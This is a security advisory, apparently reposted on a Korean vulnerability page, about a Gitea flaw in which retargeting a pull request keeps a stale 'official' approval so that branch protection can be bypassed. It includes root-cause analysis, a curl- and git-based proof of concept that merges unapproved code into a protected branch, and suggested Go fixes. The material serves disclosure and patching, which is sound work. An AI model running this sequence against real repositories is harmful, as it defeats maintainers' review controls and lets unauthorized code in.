Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H상세 설명
Summary
Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.
- Confirmed on Gitea 1.25.4 (
1.25.4+41-g96515c0f20)
Vulnerability Details
Root Cause
When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.
When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:
- Updates
pr.BaseBranch - Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment
But it does not:
- Re-evaluate
officialon existing reviews - Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist
At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean — it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.
Relevant Code Paths
- Review creation —
services/pull/review.go:SubmitReviewcallsIsOfficialRevieweragainst the currentpr.BaseBranch's protection rules, storesofficial=true/false - Target branch change —
services/pull/pull.go:ChangeTargetBranchmodifiespr.BaseBranchbut does not touch existing reviews - Merge check —
services/pull/check.go:CheckPullMergeable→models/issues/pull.go:GetGrantedApprovalsCountcounts storedofficial=truereviews without re-evaluating against the new branch's whitelist
Prerequisites
The attacker needs:
- Write (push) access to the repository (collaborator with write role, or the ability to create branches — not admin)
- The ability to create pull requests (standard for any user with push access)
- A second account (or any non-admin account) to submit the approval on the unprotected branch
The attacker does not need:
- Admin access
- To be in the approval whitelist for the protected branch
- Any interaction from the branch protection's designated approvers
Proof of Concept
Setup
Repository owner/repo with branch master protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user
admin-reviewer - User
attackerhas write access but is not in the approval whitelist
Steps
1BASE="http://gitea-instance:3000" 2OWNER="owner" 3REPO="repo" 4ATTACKER_AUTH="attacker:password" 5ACCOMPLICE_AUTH="accomplice:password" # any non-whitelisted user 6 7# 1. Create an unprotected temporary branch from master 8curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \ 9 -u "$ATTACKER_AUTH" \10 -H "Content-Type: application/json" \11 -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'12 13# 2. Push a malicious commit to a feature branch14git checkout -b malicious-branch origin/master15echo "malicious payload" > payload.txt16git add payload.txt17git commit -m "innocent looking commit"18git push origin malicious-branch19 20# 3. Create PR targeting the UNPROTECTED branch21curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \22 -u "$ATTACKER_AUTH" \23 -H "Content-Type: application/json" \24 -d '{25 "head": "malicious-branch",26 "base": "tmp-unprotected",27 "title": "Add feature"28 }'29# Returns PR #N30 31# 4. Approve the PR (official=true because tmp-unprotected has no protection)32curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \33 -u "$ACCOMPLICE_AUTH" \34 -H "Content-Type: application/json" \35 -d '{"event": "APPROVED", "body": "LGTM"}'36# Response includes: "official": true37 38# 5. Retarget the PR to protected master39curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \40 -u "$ATTACKER_AUTH" \41 -H "Content-Type: application/json" \42 -d '{"base": "master"}'43 44# 6. Verify: approval is still official=true against master45curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \46 -u "$ATTACKER_AUTH"47# Response: "official": true, "dismissed": false, "stale": false48 49# 7. Merge — succeeds despite no whitelisted approver reviewing50curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \51 -u "$ATTACKER_AUTH" \52 -H "Content-Type: application/json" \53 -d '{"do": "merge"}'54# Returns 200 OK — malicious commit is now on masterObserved API Responses
Step 4 — Approval on unprotected branch:
1{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}Step 6 — Same approval after retarget to protected master:
1{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.
Impact
- Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements
Suggested Fix
Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:
1// After updating the base branch, re-evaluate official status on all reviews 2reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{ 3 IssueID: pr.IssueID, 4 Type: issues_model.ReviewTypeApprove, 5}) 6if err != nil { 7 return err 8} 9 10newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)11if err != nil {12 return err13}14 15for _, review := range reviews {16 wasOfficial := review.Official17 if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {18 review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)19 } else {20 review.Official = false21 }22 if wasOfficial != review.Official {23 if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {24 return err25 }26 }27}Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):
1// Dismiss all approvals when target branch changes 2if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{ 3 IssueID: pr.IssueID, 4 Message: "Dismissed: PR target branch changed", 5}); err != nil { 6 return err 7}AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 7
링크 내용 불러오는 중…